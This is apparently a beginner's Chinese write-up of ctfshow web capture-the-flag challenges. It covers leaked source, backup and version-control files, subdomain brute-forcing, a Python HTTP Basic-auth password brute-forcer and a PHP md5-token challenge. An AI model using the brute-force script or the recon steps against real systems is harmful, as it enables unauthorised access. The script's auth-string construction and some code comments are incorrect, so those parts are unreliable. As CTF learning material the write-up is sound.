ctfshow web入门
前言
由于太菜了,所以最近要多做点题
一、信息收集 web2
题目:
题目提示js前台拦截,可以想到用Burp Suite抓包,然后重发即可得到flag:
二、信息收集 web3
题目:
题目提示抓个包看看:
然后抓包得到flag:
三、信息收集 web4
题目:
题目提示:robots.txt,直接访问/robots.txt:
在访问/flagishere.txt:
四、信息收集 web5
题目都是一样的,后面就不放啦(懒一下下
题目提示:phps源码泄露可以帮上忙
说是源码泄露,之前有遇到过类似的,所以一开始用御剑扫了一下后台,只发现了index.php:
然后又去查了一下phps是啥:
phps是php源文件,用于给访问者(用户)查看web页面的php源码。
于是结合了一波之前的index.php,访问/index.phps,可以从中下载源码,得到flag:
五、信息收集 web6
题目提示:解压源代码到当前目录,一开始没有明白啥意思,抓包扫后台一通操作后没有啥结果,查了一下,才发现意思是说可能含有网站备份源码在当前目录下,测试一下/WWW.zip /www.zip(之前做buuctf的时候有一道反序列化题是网站备份WWW.zip),发现是/www.zip,直接下载压缩包解压即可。
查看fl00g.txt得到flag。
六、信息收集 web7
题目提示:版本控制很重要,但不要部署到生产环境更重要。
说实话,没有看懂,有点晕(太菜了,以后会看懂的),老规矩F12、 抓包、扫目录,用御剑扫的时候啥也没有扫到,然后用dirsearch加上自己的字典扫到了后台的/.git文件:
dirsearch下载与使用参考:
https://blog.csdn.net/Jiajiajiang_/article/details/81391982
再访问http://cdf96a81-9bc1-4dfa-96f5-04acb7df2f99.challenge.ctf.show/.git/ 得到flag。
七、信息收集 web8
题目提示:版本控制很重要,但不要部署到生产环境更重要。
提示跟上面一样,做完上面一题之后知道了,版本泄露不是git泄露就是svn泄露,直接访问/.svn/,或者用dirsearch爆破后台就可以得出flag。
八 、爆破 web21
题目有点难,也有点提示,但是写的时候在这里犯傻了:
以为是字典下载链接在那篇博客里,找了很久都没有找到,一问别人才知道下载链接就在提示下面……
打开字典看了一下,是网站后台密码的字典,用户名没有给,猜测是amdin,要是不对的话后面再换别的,用bp抓了个包(今天晚上的bp也有点问题,明天就装新的),知道是GET传参:
并且还知道了参数使用base64加密的,用bp自带的编码器进行解码可以知道:
并且传输的时候使用 ’ :’ 隔开的
基本信息掌握得差不多了,可以写个python脚本爆破(不是很会写,现学现卖的):
# date:2022-2-23 23:09
# author:marxycj
import requests
import time
import base64
url = 'http://f40af555-93ba-42e8-b62a-5814be12c8f8.challenge.ctf.show/'
username = 'admin' # 测试的弱口令,字典爆破完都不对的时候再换
password = []
# 从字典读出密码
with open('password.txt', 'r') as f:
while 1:
temp = f.readline()
if temp: # 没有读完就一直读
password.append(temp)
else:
break
for temp in password:
user_pass = username + temp[:-1]
header = {
'Authorization': 'Basic{}'.format(base64.b64encode(user_pass.encode('utf-8')).decode('utf-8'))
}
result = requests.get(url, headers=header)
time.sleep(0.2)
if result.status_code == 200: # 返回结果正确时
print(result.text)
break
爆破的时间有点长,为了早点写完去睡觉,看第三个提示,知道用户名是admin,密码是shark63,得到flag,去睡觉咯~
九 、爆破 web22
题目要求爆破ctf.show的子域名,找一个在线工具进行爆破:
(不过可能不全)
也可以用Layer子域名挖掘机进行子域名爆破(比较慢):
十、爆破 web23
先来看题目:
给了一串代码,放到编译器仔细阅读一波并加上注释:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0); # 判断是否为空的函数
include('flag.php');
if (isset($_GET['token'])) {
$token = md5($_GET['token']); # token = token的md5值
if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) { # 并且token的第1位 = 第14位 = 第17位,substr函数用于返回字符串的一部分
# intval函数用于获取变量的整数值:
if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) {
echo $flag;
}
}
} else {
highlight_file(__FILE__);
}
大致意思是get一个值 token,token的md5值满足条件: 第1位 = 第14位 = 第17位,并且取整后 第1位 + 第14位 + 第17位/第1位 === 第17位,此时就会输出flag。
然后再写一个python脚本爆破一下,这题写了很久的原因就是我想直接用在phpstorm上面把token爆破出来,但是php水平又很差,于是想了很久……
后来发现python好像也可以完成